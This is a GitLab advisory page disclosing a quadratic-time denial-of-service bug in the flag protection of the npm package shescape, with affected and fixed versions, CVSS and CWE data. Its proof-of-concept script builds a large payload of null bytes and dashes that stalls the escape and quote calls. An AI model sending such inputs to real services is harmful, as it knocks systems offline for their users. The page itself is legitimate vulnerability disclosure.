Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. shescape
  4. ›
  5. GHSA-gm3r-q2wp-hw87

GHSA-gm3r-q2wp-hw87: Shescape: Quadratic-time denial of service in the flag-protection

July 24, 2026

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

References

  • github.com/advisories/GHSA-gm3r-q2wp-hw87
  • github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md
  • github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de
  • github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f
  • github.com/ericcornelissen/shescape/pull/2649
  • github.com/ericcornelissen/shescape/pull/2651
  • github.com/ericcornelissen/shescape/releases/tag/v2.1.14
  • github.com/ericcornelissen/shescape/releases/tag/v3.0.1
  • github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87

Code Behaviors & Features

Detect and mitigate GHSA-gm3r-q2wp-hw87 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 2.1.11 before 2.1.14, all versions starting from 3.0.0 before 3.0.1

Fixed versions

  • 2.1.14
  • 3.0.1

Solution

Upgrade to versions 2.1.14, 3.0.1 or above.

Impact 7.5 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-407: Inefficient Algorithmic Complexity

Source file

npm/shescape/GHSA-gm3r-q2wp-hw87.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sat, 08 Aug 2026 00:17:05 +0000.